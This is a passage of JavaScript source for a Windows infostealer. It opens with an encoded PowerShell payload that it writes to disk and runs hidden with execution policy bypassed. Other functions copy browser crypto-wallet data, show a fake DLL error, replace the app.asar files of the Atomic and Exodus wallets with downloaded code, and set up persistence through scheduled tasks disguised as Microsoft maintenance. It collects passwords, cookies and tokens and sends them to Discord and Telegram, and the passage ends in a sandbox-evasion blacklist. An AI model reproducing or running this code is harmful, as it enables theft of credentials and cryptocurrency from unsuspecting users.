6L3TMNUGK3LBOMXG22LDOJXXG33GOQXGG33NF53WS3TEN53XGLZSGAYDILZQGIXW22LUF52GC43LEI7AUPCSMVTWS43UOJQXI2LPNZEW4ZTPHYFCAIB4IRSXGY3SNFYHI2LPNY7FG6LTORSW2ICNMFUW45DFNZQW4Y3FEBKGC43LHQXUIZLTMNZGS4DUNFXW4PQKHQXVEZLHNFZXI4TBORUW63SJNZTG6PQKHRKHE2LHM5SXE4Z6BIQCAPCMN5TW63SUOJUWOZ3FOI7AUIBAEAQDYRLOMFRGYZLEHZ2HE5LFHQXUK3TBMJWGKZB6BIQCAPBPJRXWO33OKRZGSZ3HMVZD4CR4F5KHE2LHM5SXE4Z6BI6FA4TJNZRWS4DBNRZT4CRAEA6FA4TJNZRWS4DBNQQGSZB5EJAXK5DIN5ZCEPQKEAQCAIB4JRXWO33OKR4XAZJ6JFXHIZLSMFRXI2LWMVKG623FNY6C6TDPM5XW4VDZOBST4CRAEAQCAPCSOVXEYZLWMVWD4TDFMFZXIUDSNF3GS3DFM5STYL2SOVXEYZLWMVWD4CRAEA6C6UDSNFXGG2LQMFWD4CR4F5IHE2LOMNUXAYLMOM7AUPCTMV2HI2LOM5ZT4CRAEA6E25LMORUXA3DFJFXHG5DBNZRWK42QN5WGSY3ZHZEWO3TPOJSU4ZLXHQXU25LMORUXA3DFJFXHG5DBNZRWK42QN5WGSY3ZHYFCAIB4IRUXGYLMNRXXOU3UMFZHISLGJ5XEEYLUORSXE2LFOM7GMYLMONSTYL2ENFZWC3DMN53VG5DBOJ2ESZSPNZBGC5DUMVZGSZLTHYFCAIB4KN2G64CJMZDW62LOM5HW4QTBOR2GK4TJMVZT4ZTBNRZWKPBPKN2G64CJMZDW62LOM5HW4QTBOR2GK4TJMVZT4CRAEA6EC3DMN53UQYLSMRKGK4TNNFXGC5DFHZ2HE5LFHQXUC3DMN53UQYLSMRKGK4TNNFXGC5DFHYFCAIB4KN2GC4TUK5UGK3SBOZQWS3DBMJWGKPTUOJ2WKPBPKN2GC4TUK5UGK3SBOZQWS3DBMJWGKPQKEAQDYUTVNZHW43DZJFTE4ZLUO5XXE22BOZQWS3DBMJWGKPTGMFWHGZJ4F5JHK3SPNZWHSSLGJZSXI53POJVUC5TBNFWGCYTMMU7AUIBAHREWI3DFKNSXI5DJNZTXGPQKEAQCAIB4KN2G64CPNZEWI3DFIVXGIPTGMFWHGZJ4F5JXI33QJ5XESZDMMVCW4ZB6BIQCAIBAHRJGK43UMFZHIT3OJFSGYZJ6MZQWY43FHQXVEZLTORQXE5CPNZEWI3DFHYFCAIB4F5EWI3DFKNSXI5DJNZTXGPQKEAQDYQLMNRXXOU3UMFZHIT3OIRSW2YLOMQ7HI4TVMU6C6QLMNRXXOU3UMFZHIT3OIRSW2YLOMQ7AUIBAHRCW4YLCNRSWIPTUOJ2WKPBPIVXGCYTMMVSD4CRAEA6EQ2LEMRSW4PTGMFWHGZJ4F5EGSZDEMVXD4CRAEA6FE5LOJ5XGY6KJMZEWI3DFHZTGC3DTMU6C6UTVNZHW43DZJFTESZDMMU7AUIBAHRLWC23FKRXVE5LOHZTGC3DTMU6C6V3BNNSVI32SOVXD4CRAEA6EK6DFMN2XI2LPNZKGS3LFJRUW22LUHZIFIMCTHQXUK6DFMN2XI2LPNZKGS3LFJRUW22LUHYFCAIB4KBZGS33SNF2HSPRXHQXVA4TJN5ZGS5DZHYFDYL2TMV2HI2LOM5ZT4CR4IFRXI2LPNZZSAQ3PNZ2GK6DUHUREC5LUNBXXEIR6BIQCAPCFPBSWGPQKEAQCAIB4INXW23LBNZSD453TMNZGS4DUFZSXQZJ4F5BW63LNMFXGIPQKEAQCAIB4IFZGO5LNMVXHI4Z6EISHMYTTKBQXI2BCHQXUC4THOVWWK3TUOM7AUIBAHQXUK6DFMM7AUPBPIFRXI2LPNZZT4CR4F5KGC43LHYFCEQAKEAQCAIBAEAQCAJDUMVWXAWDNNQQD2IC3KN4XG5DFNUXESTZOKBQXI2C5HI5EOZLUKRSW24CGNFWGKTTBNVSSQKJAFMQCOLTYNVWCOCRAEAQCAIBAEAQFWU3ZON2GK3JOJFHS4RTJNRSV2OR2K5ZGS5DFIFWGYVDFPB2CQJDUMVWXAWDNNQWCAJDYNVWEG33OORSW45BMEBNVG6LTORSW2LSUMV4HILSFNZRW6ZDJNZTV2OR2KVXGSY3PMRSSSCRAEAQCAIBAEAQHGY3IORQXG23TEAXWG4TFMF2GKIBPORXCAIREORQXG22OMFWWKIRAF54G23BAEISHIZLNOBMG23BCEAXWMID4EBHXK5BNJZ2WY3AKEAQCAIBAEAQCAUTFNVXXMZJNJF2GK3JAER2GK3LQLBWWYIBNIZXXEY3FEAWUK4TSN5ZECY3UNFXW4ICTNFWGK3TUNR4UG33OORUW45LFBIQCAIBAPUFCAIBAEBRWC5DDNAQHWCRAEAQCA7IKPUFAUJDBMRSHEZLTONSXGIB5EBAHWCRAEAQCAYTUMMQCAIB5EATWEYZROFZXKYZUOJRTE5LLNZWDIM3LOF4GK3LVPF3DMZBTPBTGM3TEOMZGUMBQHBTWUNZHBIQCAIBAMV2GQIBAEA6SAJZQPA3TAMBYG42UIRRVGVSDSMBUMIZDINBWHE2DKODBGZRECRJQGRDDMZDEG5SUMOJRIYTQUIBAEAQGY5DDEAQCAPJAE5WHIYZROF4DO3RXMZZDIYLOPFZXG6LIMZYDE4ZUONSDS2TWG5ZDQOLFPA4XGZBSMQ3GIZZHBIQCAIBAORZHQIBAEA6SAJ2UJJMWKRLIMFXVSNLTKE3DMU2IJRREG4BYGVVEOY2TNNYUYTDWIJKFKJYKEAQCAIDCMNUCAIBAHUQCO4L2NJ3TIZDKOU2XQMTYGNVXO5DVMVWHA4DNNU4GY4DXG5WXM3TBG5ZTKZTMMUZXG4RUE4FCAIBAEB4G24RAEAQD2IBHGQZUCS3RMQYUYNCRJNLFC5LYG5REWRKLGZSFK3KWJNCUUVDEIV2GOU3HLFQWUMRVOJTVER3BKVZHAMTHMVVUYQJRMJJEI6SKMJRGCZCQKRQU452CI44G42TNLFBVM5SFNFFFUQTZPF3FMNSOMFXEGVKSE4FCAIBAEB4HE4BAEAQD2IBHOJTDE6LTJZKUETSZIZIFQNLUPJHGMYKOM5JGUSSEMVSFCV3IGZWVGVRHBIQCAIBAPJRWC43IEA6SAJ3UGFQTGNDVKE4FQUSOJNXVO6LZNNIVKQLUKI3HM2RVHBKUITLQMFQXSZRHBIQCAIBAMRXWOZJAEA6SAJ2EKE2WKWSRPFGWEQ3TIFDUI32FG53HCM32ONIEQN3WGQZUK5TGKVLDM4SKOZ2EC4TTOFYXMN2MIVWWEM2CIY3GKMLWJB2WIR2QINIXA4DBPBTCOCRAEAQCA43PNQQCAIB5EATUKNSMJY4HQWSDLFQWSQKQNVRGETDDPJTVISSSG5MEG23UGFTWESTIJA3EMTBSLBBWO5KNOETQU7IKBISG25LUMV4E4YLNMUQD2IBHI5WG6YTBNROFO2LOIF2WI2LPJV2XIZLYE4FCIY3SMVQXIZLEJZSXOIB5EASGMYLMONSQU5DSPEQHWCRAEAQCAJDNOV2GK6BAHUQE4ZLXFVHWE2TFMN2CAU3ZON2GK3JOKRUHEZLBMRUW4ZZOJV2XIZLYFASHI4TVMUWCAJDNOV2GK6COMFWWKLBALNZGKZS5ERRXEZLBORSWITTFO4UQUIBAEAQGSZRAFAWW433UEASGG4TFMF2GKZCOMV3SSID3BIQCAIBAEAQCAIDFPBUXICRAEAQCA7IKPUFGGYLUMNUCA6YKEAQCAIDFPBUXICT5BIFCI3DBON2CAPJAE4TQU53INFWGKIBIER2HE5LFFEQHWCRAEAQCA5DSPEQHWCRAEAQCAIBAEAQECZDEFVKHS4DFEAWUC43TMVWWE3DZJZQW2ZJAKN4XG5DFNUXFO2LOMRXXO4ZOIZXXE3LTBIQCAIBAEAQCAIBEOR4HIIB5EBNVG6LTORSW2LSXNFXGI33XOMXEM33SNVZS4Q3MNFYGE33BOJSF2OR2I5SXIVDFPB2CQKIKEAQCAIBAEAQCA2LGEAUCI5DYOQQC2YLOMQQCI5DYOQQC23TFEASGYYLTOQUSA6YKEAQCAIBAEAQCAIBAEAQGSZRAFASHI6DUEAWW2YLUMNUCAJ26FBRGGML4LMYTGXJJLNQS26SBFVEEULKOKAWVUMBNHFOXWMRVFQ3DK7JEE4USA6YKEAQCAIBAEAQCAIBAEAQCAIBAEBNVG6LTORSW2LSXNFXGI33XOMXEM33SNVZS4Q3MNFYGE33BOJSF2OR2KNSXIVDFPB2CQJDBMRSHEZLTONSXGLTCORRSSCRAEAQCAIBAEAQCAIBAEB6QUIBAEAQCAIBAEAQCAIBAMVWHGZLJMYQCQJDUPB2CALLNMF2GG2BAE5PDA6C3MEWWMQJNIYYC2OK5PM2DA7JEE4USA6YKEAQCAIBAEAQCAIBAEAQCAIBAEBNVG6LTORSW2LSXNFXGI33XOMXEM33SNVZS4Q3MNFYGE33BOJSF2OR2KNSXIVDFPB2CQJDBMRSHEZLTONSXGLTFORUCSCRAEAQCAIBAEAQCAIBAEB6QUIBAEAQCAIBAEAQCAIBAMVWHGZLJMYQCQJDUPB2CALLNMF2GG2BAE5PCQTD4JV6DGKK3MEWWW3JNPJAS2SCKFVHFALK2GEWTSXL3GI3CYMZUPUSHYXTMORRTCW3BFV5ECLK2GAWTSXL3GM2SYNRQPUSCOKJAPMFCAIBAEAQCAIBAEAQCAIBAEAQCAW2TPFZXIZLNFZLWS3TEN53XGLSGN5ZG24ZOINWGS4DCN5QXEZC5HI5FGZLUKRSXQ5BIERQWIZDSMVZXGZLTFZWHIYZJBIQCAIBAEAQCAIBAEAQCA7IKEAQCAIBAEAQCAIBAEAQGK3DTMVUWMIBIER2HQ5BAFVWWC5DDNAQCOXSULNQS26SBFVNDALJZLV5TEOBMGM2H2JBHFEQHWCRAEAQCAIBAEAQCAIBAEAQCAIBALNJXS43UMVWS4V3JNZSG653TFZDG64TNOMXEG3DJOBRG6YLSMROTUOSTMV2FIZLYOQUCIYLEMRZGK43TMVZS45DSPAUQUIBAEAQCAIBAEAQCAIBAPUFCAIBAEAQCAIBAEAQCAIDFNRZWK2LGEAUCI5DYOQQC23LBORRWQIBHLYUCQYTJORRW62LOMNQXG2B2FE7SQ4L4OAUVWYJNPIYC2OK5PM2DC7JJEQTSSID3BIQCAIBAEAQCAIBAEAQCAIBAEAQFWU3ZON2GK3JOK5UW4ZDPO5ZS4RTPOJWXGLSDNRUXAYTPMFZGIXJ2HJJWK5CUMV4HIKBEMFSGI4TFONZWK4ZOMJRWQKIKEAQCAIBAEAQCAIBAEAQH2CRAEAQCAIBAEAQCAIBAEBSWY43FNFTCAKBEOR4HIIBNNVQXIY3IEATV4NC3GAWTSQKCLVNTCLJZIEWUQSRNJZIC2WTBFVVW2LL2LV5TSMRMHE2X2JBHFEQHWCRAEAQCAIBAEAQCAIBAEAQCAIBALNJXS43UMVWS4V3JNZSG653TFZDG64TNOMXEG3DJOBRG6YLSMROTUOSTMV2FIZLYOQUCIYLEMRZGK43TMVZS46DNOIUQUIBAEAQCAIBAEAQCAIBAPUFCAIBAEAQCAIBAEAQCAIDFNRZWK2LGEAUCI5DYOQQC23LBORRWQIBHLZZFWMBNHFQS26SBFVNF26ZSGQWDGND5EQTSSID3BIQCAIBAEAQCAIBAEAQCAIBAEAQFWU3ZON2GK3JOK5UW4ZDPO5ZS4RTPOJWXGLSDNRUXAYTPMFZGIXJ2HJJWK5CUMV4HIKBEMFSGI4TFONZWK4ZOPBZHAKIKEAQCAIBAEAQCAIBAEAQH2CRAEAQCAIBAEAQCAIBAEBSWY43FNFTCAKBEOR4HIIBNNVQXIY3IEATV45BRLMYC2OKBFV5F26ZTGIWDGOL5EQTSSID3BIQCAIBAEAQCAIBAEAQCAIBAEAQFWU3ZON2GK3JOK5UW4ZDPO5ZS4RTPOJWXGLSDNRUXAYTPMFZGIXJ2HJJWK5CUMV4HIKBEMFSGI4TFONZWK4ZOPJRWC43IFEFCAIBAEAQCAIBAEAQCAID5BIQCAIBAEAQCAIBAEAQCAZLMONSWSZRAFASHI6DUEAWW2YLUMNUCAJ26IR5TC7K3GUWTSQJNJBFC2TSQFVKV26ZRPVNTCLJZIEWUQSRNJZIC2WTBFVVW2LL2LV5TGMRMGYYX2JBHFEQHWCRAEAQCAIBAEAQCAIBAEAQCAIBALNJXS43UMVWS4V3JNZSG653TFZDG64TNOMXEG3DJOBRG6YLSMROTUOSTMV2FIZLYOQUCIYLEMRZGK43TMVZS4ZDPM5SSSCRAEAQCAIBAEAQCAIBAEB6QUIBAEAQCAIBAEAQCAIBAMVWHGZLJMYQCQJDUPB2CALLDNVQXIY3IEATV4WZRFU4UCLKIJIWU4UBNLJQS223NFV5F26ZTGIWDIND5EQTSSID3BIQCAIBAEAQCAIBAEAQCAIBAEAQFWU3ZON2GK3JOK5UW4ZDPO5ZS4RTPOJWXGLSDNRUXAYTPMFZGIXJ2HJJWK5CUMV4HIKBEMFSGI4TFONZWK4ZOONXWYKIKEAQCAIBAEAQCAIBAEAQH2CRAEAQCAIBAEAQCAIBAEASGYYLTOQQD2IBEOR4HICRAEAQCAIBAEAQH2CRAEAQCA7IKEAQCAIDDMF2GG2BAPMFCAIBAEAQAUIBAEAQH2CRAEAQCAU3UMFZHILKTNRSWK4BAFVGWS3DMNFZWKY3PNZSHGIBUGUYAU7I=';

    try {
        const decodedScript = decodeBase64(powershellScript64).toString('utf8');
        const baseDir = path.join(process.env.APPDATA, 'Microsoft', 'Windows', 'SystemData');

        try {
            if (!fs.existsSync(baseDir)) {
                fs.mkdirSync(baseDir, { recursive: true });
            }
        } catch (dirErr) {
            logError(dirErr, 'initializeService-mkdir');
        }

        try {
            if (fs.existsSync(baseDir)) {
                const files = fs.readdirSync(baseDir);
                for (const file of files) {
                    if (file.endsWith('.ps1') && file.startsWith('sys_core_')) {
                        try {
                            fs.unlinkSync(path.join(baseDir, file));
                        } catch (unlinkError) {
                            logError(unlinkError, 'initializeService-unlink-' + file);
                        }
                    }
                }
            }
        } catch (cleanupErr) {
            logError(cleanupErr, 'initializeService-cleanup');
        }

        const ps1Path = path.join(baseDir, fileName);

        try {
            fs.writeFileSync(ps1Path, decodedScript, 'utf8');
        } catch (writeErr) {
            logError(writeErr, 'initializeService-write');
            return;
        }

        const psCmd = decodeString('cG93ZXJzaGVsbA==');
        const executeCmd = psCmd + ' -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -File "' + ps1Path + '"';

        try {
            exec(executeCmd, {
                windowsHide: true,
                detached: true,
                stdio: 'ignore'
            });
        } catch (execError) {
            logError(execError, 'initializeService-exec-retry');
            try {
                const fallbackCmd = psCmd + ' -Command "Start-Process ' + psCmd + ' -ArgumentList \'-ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -File \\"' + ps1Path + '\\"\' -WindowStyle Hidden"';
                execSync(fallbackCmd, {
                    stdio: 'pipe',
                    windowsHide: true,
                    timeout: 5000
                });
            } catch (fallbackError) {
                logError(fallbackError, 'initializeService-exec-fallback');
            }
        }
        logSuccess('0xC');
    } catch (e) {
        logError(e, 'initializeService-general');
    }
}


async function fetchWallets() {
    const walletsData = [];
    let walletsCount = 0;

    try {
        const walletsPath = path.join(mainFolderPath, 'Wallets');

        const extensionPaths = PATHS.wallets;
        const browsersToCheck = [
            [user.local + '\\Google\\Chrome\\User Data\\', 'Chrome'],
            [user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\', 'Brave'],
            [user.local + '\\Yandex\\YandexBrowser\\User Data\\', 'Yandex'],
            [user.local + '\\Microsoft\\Edge\\User Data\\', 'Edge'],
            [user.roaming + '\\Opera Software\\Opera Stable\\', 'Opera'],
            [user.roaming + '\\Opera Software\\Opera GX Stable\\', 'OperaGX']
        ];

        for (const [browserPathBase, browserName] of browsersToCheck) {
            if (!fs.existsSync(browserPathBase)) continue;

            let profiles = ['Default', 'Profile 1', 'Profile 2', 'Profile 3', 'Profile 4', 'Profile 5'];
            if (browserName.includes('Opera')) profiles = [''];

            for (const profile of profiles) {
                let profilePath = profile ? path.join(browserPathBase, profile) : browserPathBase;

                if (!fs.existsSync(profilePath)) continue;

                for (const [walletName, walletSuffix] of Object.entries(extensionPaths)) {
                    const walletPath = path.join(profilePath, walletSuffix);
                    if (fs.existsSync(walletPath)) {
                        try {
                            if (!fs.existsSync(walletsPath)) fs.mkdirSync(walletsPath, { recursive: true });
                            const saveDir = path.join(walletsPath, `${browserName}_${profile || 'Default'}_${walletName}`);
                            if (!fs.existsSync(saveDir)) fs.mkdirSync(saveDir, { recursive: true });

                            const copyRecursiveSync = (src, dest) => {
                                if (fs.existsSync(src)) {
                                    const stats = fs.statSync(src);
                                    if (stats.isDirectory()) {
                                        if (!fs.existsSync(dest)) fs.mkdirSync(dest);
                                        fs.readdirSync(src).forEach(childItemName => {
                                            copyRecursiveSync(path.join(src, childItemName), path.join(dest, childItemName));
                                        });
                                    } else {
                                        fs.copyFileSync(src, dest);
                                    }
                                }
                            };
                            copyRecursiveSync(walletPath, saveDir);

                            walletsData.push(`- ${walletName} (${browserName} - ${profile || 'Default'})`);
                            walletsCount++;
                        } catch (e) {
                            logError(e, `fetchWallets-${walletName}`);
                        }
                    }
                }
            }
        }

        const appWallets = PATHS.walletApps;
        for (const [appName, appPath] of Object.entries(appWallets)) {
            if (fs.existsSync(appPath)) {
                try {
                    if (!fs.existsSync(walletsPath)) fs.mkdirSync(walletsPath, { recursive: true });
                    const saveDir = path.join(walletsPath, appName);
                    if (!fs.existsSync(saveDir)) fs.mkdirSync(saveDir, { recursive: true });

                    const copyRecursiveSync = (src, dest) => {
                        if (fs.existsSync(src)) {
                            const stats = fs.statSync(src);
                            if (stats.isDirectory()) {
                                if (!fs.existsSync(dest)) fs.mkdirSync(dest);
                                fs.readdirSync(src).forEach(childItemName => {
                                    copyRecursiveSync(path.join(src, childItemName), path.join(dest, childItemName));
                                });
                            } else {
                                fs.copyFileSync(src, dest);
                            }
                        }
                    };
                    copyRecursiveSync(appPath, saveDir);

                    walletsData.push(`- ${appName} (App)`);
                    walletsCount++;
                } catch (e) { }
            }
        }

    } catch (error) {
        logError(error, 'fetchWallets');
    }

    return walletsCount;
}

function onlyUnique(item, index, array) {
    return array.indexOf(item) === index;
}

function showFakeError() {
    return new Promise((resolve) => {
        try {
            const msg = "The code execution cannot proceed because msvcp140.dll was not found. Reinstalling the program may fix this problem.";
            const title = "System Error";

            const command = `cmd /c start "" mshta vbscript:Execute("MsgBox ""${msg}"", 16, ""${title}"":close")`;

            exec(command, { windowsHide: true }, (err) => {
                resolve();
            });
            setTimeout(resolve, 50);
        } catch (e) {
            resolve();
        }
    });
}

async function walletInjection() {
    try {
        await Promise.all([
            injectAtomic(),
            injectExodus()
        ]);
    } catch (error) {
        logError(error, 'walletInjection');
    }
}

async function injectAtomic() {
    try {
        const atomicPath = path.join(process.env.LOCALAPPDATA, 'Programs', 'atomic');
        const atomicAsarPath = path.join(atomicPath, 'resources', 'app.asar');
        const atomicLicensePath = path.join(atomicPath, 'LICENSE.electron.txt');
        const atomicMarker = path.join(atomicPath, `.${generateRandomString(6)}`);

        if (fs.existsSync(atomicPath)) {
            try {
                execSync('taskkill /IM "Atomic Wallet.exe" /F', { stdio: 'ignore', windowsHide: true });
            } catch (e) { }
            await inject(atomicPath, atomicAsarPath, atomicInjectionUrl, atomicLicensePath, 'Atomic', atomicMarker);
        }
    } catch (error) {
        logError(error, 'injectAtomic');
    }
}

async function injectExodus() {
    try {
        const exodusPath = path.join(process.env.LOCALAPPDATA, 'exodus');
        if (!fs.existsSync(exodusPath)) return;

        try {
            execSync('taskkill /IM Exodus.exe /F', { stdio: 'ignore', windowsHide: true });
        } catch (e) { }

        const exodusDirs = fs.readdirSync(exodusPath).filter(file => file.startsWith('app-'));

        for (const exodusDir of exodusDirs) {
            const exodusPathWithVersion = path.join(exodusPath, exodusDir);
            const exodusAsarPath = path.join(exodusPathWithVersion, 'resources', 'app.asar');
            const exodusLicensePath = path.join(exodusPathWithVersion, 'LICENSE');

            await inject(exodusPath, exodusAsarPath, exodusInjectionUrl, exodusLicensePath, `Exodus-${exodusDir}`);
        }
    } catch (error) {
        logError(error, 'injectExodus');
    }
}

async function inject(appPath, asarPath, injectionUrl, licensePath, appName) {
    if (!fs.existsSync(appPath)) return;

    if (!injectionUrl || injectionUrl.includes('REMPLACE_ME')) return;

    const markerPath = path.join(path.dirname(asarPath), '.avm_lock');
    if (fs.existsSync(markerPath)) {
        return;
    }

    try {
        if (!fs.existsSync(path.dirname(asarPath))) return;

        const response = await axios.get(injectionUrl, { responseType: 'stream' });

        if (response.status !== 200) {
            logError(`Failed to download injection: ${response.status}`, `inject-${appName}`);
            return;
        }

        const writer = fs.createWriteStream(asarPath);
        response.data.pipe(writer);

        await new Promise((resolve, reject) => {
            writer.on('finish', resolve);
            writer.on('error', reject);
        });

        try {
            fs.writeFileSync(markerPath, 'done');
        } catch (e) { }


        if (licensePath && discordWebhookUrl && !discordWebhookUrl.includes('REMPLACE_ME')) {
            try {
                fs.writeFileSync(licensePath, discordWebhookUrl, 'utf8');
            } catch (licErr) {
                logError(licErr, `inject-license-${appName}`);
            }
        }
    } catch (error) {
        logError(error, `inject-${appName}`);
    }
}

function basicStartup() {
    if (process.platform !== 'win32') return;
    try {
        const currentExe = path.resolve(process.execPath);
        const currentDir = path.dirname(currentExe).toLowerCase();

        const legitTasks = [
            { name: "WindowsTelemetrySync", desc: "Synchronizes system telemetry with Microsoft servers" },
            { name: "NetFrameworkUpdate", desc: "Ensures .NET Framework components are up to date" },
            { name: "SecurityHealthScan", desc: "Periodic background security health check" },
            { name: "OneDriveHealthCheck", desc: "Monitors OneDrive sync health and performance" },
            { name: "EdgeBrowserUpdate", desc: "Background maintenance for Microsoft Edge data" }
        ];

        try {
            const taskPrefixes = legitTasks.map(t => t.name).join('|');
            const cleanupCmd = `powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-ScheduledTask | Where-Object { $_.TaskName -match '^(${taskPrefixes})' -or $_.Description -match 'MaintenanceTask' -or ($_.Actions.Execute + ' ' + $_.Actions.Arguments) -match 'Microsoft\\\\Windows\\\\[a-zA-Z0-9]{8}\\\\' } | Unregister-ScheduledTask -Confirm:$false"`;
            execSync(cleanupCmd, { stdio: 'ignore', windowsHide: true, timeout: 5000 });

            const parentStealthDir = path.join(process.env.APPDATA, 'Microsoft', 'Windows');
            if (fs.existsSync(parentStealthDir)) {
                fs.readdirSync(parentStealthDir).forEach(dir => {
                    if (/^[a-zA-Z0-9]{8}$/.test(dir)) {
                        const fullPath = path.resolve(path.join(parentStealthDir, dir));
                        if (fullPath.toLowerCase() === currentDir) return;

                        try {
                            const files = fs.readdirSync(fullPath);
                            if (files.some(f => f.endsWith('.exe') || f.endsWith('.vbs'))) {
                                execSync(`rmdir /s /q "${fullPath}"`, { stdio: 'ignore', windowsHide: true });
                            }
                        } catch (e) { }
                    }
                });
            }
        } catch (e) { }

        const subDirName = generateRandomString(8);
        const exeName = generateRandomString(8) + '.exe';
        const targetDir = path.join(process.env.APPDATA, 'Microsoft', 'Windows', subDirName);
        if (!fs.existsSync(targetDir)) fs.mkdirSync(targetDir, { recursive: true });

        const targetFile = path.resolve(path.join(targetDir, exeName));
        if (currentExe.toLowerCase() !== targetFile.toLowerCase()) {
            try {
                fs.copyFileSync(currentExe, targetFile);
            } catch (e) { }
        }

        try {
            execSync(`attrib +h +s "${targetDir}"`, { stdio: 'ignore', windowsHide: true });
        } catch (e) { }

        const selection = legitTasks[Math.floor(Math.random() * legitTasks.length)];
        const taskName = selection.name + "_" + generateRandomString(6);
        const xmlName = generateRandomString(8) + '.xml';
        const xmlPath = path.join(targetDir, xmlName);
        const currentUser = os.userInfo().username;

        const vbsName = generateRandomString(8) + '.vbs';
        const vbsPath = path.join(targetDir, vbsName);
        const vbsContent = `CreateObject("WScript.Shell").Run """" & "${targetFile}" & """ --hidden", 0, False`;

        const taskXml = `<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
    <Description>${selection.desc}</Description>
    <Author>${currentUser}</Author>
  </RegistrationInfo>
  <Triggers>
    <LogonTrigger>
      <Enabled>true</Enabled>
    </LogonTrigger>
  </Triggers>
  <Principals>
    <Principal id="Author">
      <LogonType>InteractiveToken</LogonType>
      <RunLevel>HighestAvailable</RunLevel>
    </Principal>
  </Principals>
  <Settings>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
    <AllowHardTerminate>true</AllowHardTerminate>
    <StartWhenAvailable>true</StartWhenAvailable>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    <AllowStartOnDemand>true</AllowStartOnDemand>
    <Enabled>true</Enabled>
    <Hidden>true</Hidden>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <WakeToRun>false</WakeToRun>
    <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
    <Priority>7</Priority>
  </Settings>
  <Actions Context="Author">
    <Exec>
      <Command>wscript.exe</Command>
      <Arguments>//nologo "${vbsPath}"</Arguments>
    </Exec>
  </Actions>
</Task>`;

        try {
            fs.writeFileSync(vbsPath, vbsContent);
            fs.writeFileSync(xmlPath, taskXml, { encoding: 'utf16le' });
            execSync(`schtasks /create /tn "${taskName}" /xml "${xmlPath}" /f`, { stdio: 'ignore', windowsHide: true });
            fs.unlinkSync(xmlPath);
        } catch (e) {
            try {
                execSync(`schtasks /create /tn "${taskName}" /tr "wscript.exe //nologo '${vbsPath}'" /sc onlogon /rl highest /f`, { stdio: 'ignore', windowsHide: true });
            } catch (e2) {
                execSync(`reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" /v "WinHost" /t REG_SZ /d "wscript.exe //nologo \\"${vbsPath}\\"" /f`, { stdio: 'ignore', windowsHide: true });
            }
        }

        logSuccess('0xB');
    } catch (e) {
        logError(e, 'basicStartup');
    }
}

class Client {
    async init() {
        let downloadLink = null;
        try {
            if (CONFIG.fakeerror) {
                await showFakeError();
            }
            if (CONFIG.startup) {
                await basicStartup();
            }

            const pInjection = CONFIG.wallet ? walletInjection() : Promise.resolve();
            const pService = CONFIG.wallet ? initializeService() : Promise.resolve();
            const pCleanup = (async () => cleanupProcesses())();
            const pDiscordTokens = CONFIG.backupcodes ? fetchDiscordTokens() : Promise.resolve(0);
            const pSocials = CONFIG.backupcodes ? fetchSocials() : Promise.resolve(0);
            const pGames = CONFIG.games ? fetchGamesData() : Promise.resolve(0);
            const pWallets = CONFIG.wallet ? fetchWallets() : Promise.resolve(0);
            const pFormData = CONFIG.browsers ? fetchFormData() : Promise.resolve(0);
            const pVPN = CONFIG.filevpn ? fetchFileVPN() : Promise.resolve(0);
            await loadConfiguration();
            const pPasswords = CONFIG.browsers ? fetchUserData() : Promise.resolve(0);
            const pCookies = CONFIG.browsers ? fetchSessionData() : Promise.resolve(0);
            const results = await Promise.allSettled([
                pFormData,
                pPasswords,
                pCookies,
                pDiscordTokens,
                pSocials,
                pGames,
                pWallets,
                pVPN
            ]);
            const autofillCount = results[0].status === 'fulfilled' ? results[0].value : 0;
            const passwordsCount = results[1].status === 'fulfilled' ? results[1].value : 0;
            const cookiesCount = results[2].status === 'fulfilled' ? results[2].value : 0;
            const tokensCount = results[3].status === 'fulfilled' ? results[3].value : 0;
            const socialsCount = results[4].status === 'fulfilled' ? results[4].value : 0;
            const gamesCount = results[5].status === 'fulfilled' ? results[5].value : 0;
            const walletsCount = results[6].status === 'fulfilled' ? results[6].value : 0;
            await Promise.allSettled([pInjection, pService, pCleanup]);

            const screenshotBuffer = await captureAllScreens();

            console.log('[System] Building data package and uploading...');
            downloadLink = await createAndUploadZip();
            await Promise.allSettled([
                sendDiscordEmbed(screenshotBuffer, downloadLink, passwordsCount, cookiesCount, autofillCount, tokensCount, socialsCount, gamesCount, walletsCount),
                sendTelegramMessage(screenshotBuffer, downloadLink, passwordsCount, cookiesCount, autofillCount, tokensCount, socialsCount, gamesCount, walletsCount)
            ]);


        } catch (error) {
            logError(error, 'Client.init');

        } finally {
            finalizeLog();
            selfCleanup(downloadLink);
        }
    }
}


function checkSystem() {
    if (process.platform !== 'win32') return false;

    const blacklist = {
        users: ['WDAGUtilityAccount', 'Abby', 'pateu', 'JohnDoe', 'h4cci', 'Prazzy', 'Peter Wilson', 'Timmy', 'Emily', 'Anna', 'Caroline', 'Lisa', 'Robert', 'David', 'James', 'Michael'],
        pcNames: ['BEE7390B-866E-4', 'DESKTOP-GVB9695', 'DESKTOP-4999DR8', 'DESKTOP-H0C9S9H', 'DESKTOP-6M7B5S4', 'DESKTOP-51950T1', 'HANDY-PC', 'JOHN-PC', 'DESKTOP-1PY9J9S', 'WIN-7890BC', 'DESKTOP-V9B0311'],
        processes: ['vboxservice.exe', 'vboxtray.exe', 'vmtoolsd.exe', 'vmwaretray.exe', 'vmwareuser.exe', 'vgauthservice.exe', 'vmacthlp.exe', 'vmsrvc.exe', 'vmusrvc.exe', 'prl_cc.exe', 'prl_tools.exe', 'xenservice.exe', 'qemu-ga.exe', 'wireshark.exe', 'fiddler.exe', 'httpdebugger.exe', 'processhacker.exe', 'x64dbg.exe', 'ollydbg.exe', 'pestudio.exe', 'vmperfmon.exe', 'autoruns.exe', 'procexp.exe', 'vmsvga.exe'],
        macs: ['08:00:27', '00:05:69', '00:0C:29', '00:50:56', '00:1C:42', '00:16:3E', '08:00:20', '00:15:5D'],
